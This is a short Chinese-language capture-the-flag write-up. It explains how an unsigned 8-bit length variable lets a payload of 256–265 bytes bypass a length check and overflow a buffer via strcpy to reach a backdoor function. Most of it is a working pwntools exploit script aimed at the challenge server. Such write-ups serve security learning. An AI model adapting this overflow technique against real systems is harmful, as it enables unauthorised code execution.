检查一下保护状态
接着ida看代码逻辑
看func函数
第一次看真没发现有什么漏洞,题目给了backdoor,虽然strlen可以\x00绕过,但是strcpy函数也限制漏洞的实现。仔细看的话,会发现v3的类型是 unsigned __int8 v3;
说明v3是一个字节来表示的,可表示的范围只有0~255,那这样绕过思路就很清晰了,我们的payload构造长度超过255,不超过265就行,然后就可以绕过if语句的判断
exp:
from pwn import * context(os='linux',arch='i386',log_level='debug') io=remote("node4.anna.nssctf.cn",28587)payload=b'a'*(0xb9)+b'a'*0x4+p32(0x80492AF) payload=payload.ljust(260,b'a') payload+=b'\x00' io.send(payload)
io.interactive()
标签:2str,--,v3,io,2023,pwn,绕过,payload,255 From: https://www.cnblogs.com/GGbomb/p/17840993.html